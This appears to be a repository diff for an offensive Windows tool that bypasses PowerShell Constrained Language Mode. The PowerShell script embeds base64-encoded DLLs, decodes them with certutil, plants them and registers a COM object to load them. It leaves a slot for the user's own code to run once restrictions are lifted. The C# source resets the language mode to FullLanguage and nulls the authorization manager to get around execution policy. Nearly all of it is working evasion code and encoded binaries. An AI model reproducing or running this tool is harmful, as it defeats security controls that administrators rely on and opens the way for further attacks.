Y2VwdGlvblRocm93cwEIAQACAAAAAAAXAQASQ2xtRGlzYWJsZUFzc2VtYmx5AAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE5AAApAQAkNTA1NGMxM2YtMTM1MS00N2I5LWE2Y2EtMjVmNDU0OGY2OGE3AAAMAQAHMS4wLjAuMAAASQEAGi5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC41AQBUDhRGcmFtZXdvcmtEaXNwbGF5TmFtZRIuTkVUIEZyYW1ld29yayA0LjUAAAAAAAAAC27JkwAAAAACAAAAbQAAAFAsAABQDgAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAFJTRFN1QVzlk1FhQKAG7haQc5w3AQAAAEQ6XHJlc2VhcmNoXGFtc2lcQ2xtRGlzYWJsZURsbFxDbG1EaXNhYmxlLine truncated
|
||||
|
||||
# ##############################################
|
||||
|
||||
$EncodeDisableDll64 = "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 truncated
|
||||
|
||||
# ##############################################
|
||||
|
||||
$EncodeDisableDll86 = "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 truncated
|
||||
|
||||
|
||||
# ##############################################
|
||||
|
||||
|
||||
Write-Host "[.] Step 0. Decoding and planting DLL files in:"
|
||||
|
||||
if (!(Test-Path $dstAssemblyPath) -or ((Get-Item $dstAssemblyPath).length -eq 0) ) {
|
||||
$DecodedAssemblyDll = (Decode-Base64 $EncodedAssemblyDll)
|
||||
Write-Host "`t$dstAssemblyPath"
|
||||
Set-Content -Value $DecodedAssemblyDll -Encoding Byte -Path $dstAssemblyPath -Force
|
||||
$DecodedAssemblyDll = ""
|
||||
$EncodedAssemblyDll = ""
|
||||
}
|
||||
|
||||
if (!(Test-Path $dstDllPath) -or ((Get-Item $dstDllPath).length -eq 0) ) {
|
||||
[byte[]]$DecodedDisableDll = @()
|
||||
if ([IntPtr]::Size -eq 4) {
|
||||
#$DecodedDisableDll = (Decode-Base64 $EncodeDisableDll86)
|
||||
$EncodeDisableDll86 | Out-File -FilePath "$dstDllPath.txt" -Force
|
||||
} else {
|
||||
#$DecodedDisableDll = (Decode-Base64 $EncodeDisableDll64)
|
||||
$EncodeDisableDll64 | Out-File -FilePath "$dstDllPath.txt" -Force
|
||||
}
|
||||
$EncodeDisableDll86 = ""
|
||||
$EncodeDisableDll64 = ""
|
||||
|
||||
Write-Host "`t$dstDllPath"
|
||||
#Set-Content -Value $DecodedDisableDll -Encoding Byte -Path $dstDllPath -Force
|
||||
certutil -decode "$dstDllPath.txt" $dstDllPath
|
||||
$DecodedDisableDll = ""
|
||||
}
|
||||
|
||||
if (!(Test-Path $dstAssemblyPath) -or !(Test-Path $dstDllPath) -or ((Get-Item $dstAssemblyPath).length -eq 0) -or ((Get-Item $dstDllPath).length -eq 0)) {
|
||||
Write-Host "[-] Could not decode and plant DLL files."
|
||||
return $false
|
||||
} else {
|
||||
Write-Host "[+] Files planted."
|
||||
}
|
||||
|
||||
|
||||
Write-Host "[.] Step 1. Creating custom COM object."
|
||||
|
||||
Create-COM -ComName $comName -ComDescription $comDescription -DllPath $dstDllPath -Guid $guid | Out-Null
|
||||
|
||||
Write-Host "[.] Step 2. Invoking it ($comName)..."
|
||||
|
||||
Write-Host "`tPowershell runspace Thread ID: $([appdomain]::GetCurrentThreadId())"
|
||||
try
|
||||
{
|
||||
New-Object -ComObject $comName -erroraction 'silentlycontinue' | Out-Null
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
if($RemoveComWhenFinished)
|
||||
{
|
||||
Write-Host "[.] Removing registered COM object."
|
||||
Remove-COM -ComName $comName -Guid $guid
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host "`n============"
|
||||
Write-Host -ForegroundColor Yellow "`nUse below command to disable CLM on Demand (ignore errors):"
|
||||
Write-Host "`n`tPS> " -NoNewLine
|
||||
Write-Host -ForegroundColor Green "New-Object -ComObject $comName"
|
||||
Write-Host "`n============`n"
|
||||
}
|
||||
|
||||
|
||||
#############################################################
|
||||
#
|
||||
# PUT YOUR CODE BELOW THAT IS GOING TO BE RUN IN CLM DISABLED
|
||||
#
|
||||
|
||||
Write-Host "`n[+] Finished. CLM status: $($ExecutionContext.SessionState.LanguageMode)"
|
||||
|
||||
#############################################################
|
||||
}
|
||||
|
||||
Bypass-CLM
|
||||
Binary file not shown.
+79
@@ -0,0 +1,79 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{5054C13F-1351-47B9-A6CA-25F4548F68A7}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<RootNamespace>ClmDisableAssembly</RootNamespace>
|
||||
<AssemblyName>ClmDisableAssembly</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<TargetFrameworkProfile />
|
||||
<PublishUrl>publish\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<StartupObject />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup />
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
|
||||
<HintPath>System.Management.Automation.dll</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config" />
|
||||
<None Include="app.manifest" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@@ -0,0 +1,75 @@
|
||||
using System;
|
||||
using System.Management.Automation;
|
||||
using System.Management.Automation.Runspaces;
|
||||
|
||||
namespace ClmDisableAssembly
|
||||
{
|
||||
public class ClmDisableAssembly
|
||||
{
|
||||
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
|
||||
static extern int GetCurrentThreadId();
|
||||
|
||||
public static int Start(string arg)
|
||||
{
|
||||
Console.WriteLine("[+] Managed mode assembly. Disabling CLM globally.");
|
||||
Console.WriteLine("\tCurrent thread ID (managed/unmanaged): " + System.Threading.Thread.CurrentThread.ManagedThreadId.ToString() + " / " + GetCurrentThreadId().ToString());
|
||||
|
||||
if (arg.Length > 0)
|
||||
{
|
||||
Console.WriteLine($"\tPassed argument: '{arg}'");
|
||||
}
|
||||
|
||||
// Switches back to FullLanguage in CLM
|
||||
Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
|
||||
|
||||
try
|
||||
{
|
||||
Runspace.DefaultRunspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
|
||||
|
||||
// Bypasses PowerShell execution policy
|
||||
Runspace.DefaultRunspace.InitialSessionState.AuthorizationManager = null;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine("[-] Approach #1 failed: " + e);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
Runspace runspace = RunspaceFactory.CreateRunspace();
|
||||
runspace.ApartmentState = System.Threading.ApartmentState.STA;
|
||||
runspace.ThreadOptions = PSThreadOptions.UseCurrentThread;
|
||||
runspace.Open();
|
||||
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
|
||||
runspace.Close();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine("[-] Approach #2 failed: " + e);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
InitialSessionState initialSessionState = InitialSessionState.CreateDefault();
|
||||
initialSessionState.ApartmentState = System.Threading.ApartmentState.STA;
|
||||
initialSessionState.AuthorizationManager = null;
|
||||
initialSessionState.ThreadOptions = PSThreadOptions.UseCurrentThread;
|
||||
|
||||
using (Runspace runspace = RunspaceFactory.CreateRunspace(initialSessionState))
|
||||
{
|
||||
runspace.Open();
|
||||
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
|
||||
runspace.InitialSessionState.AuthorizationManager = null;
|
||||
runspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
|
||||
runspace.Close();
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
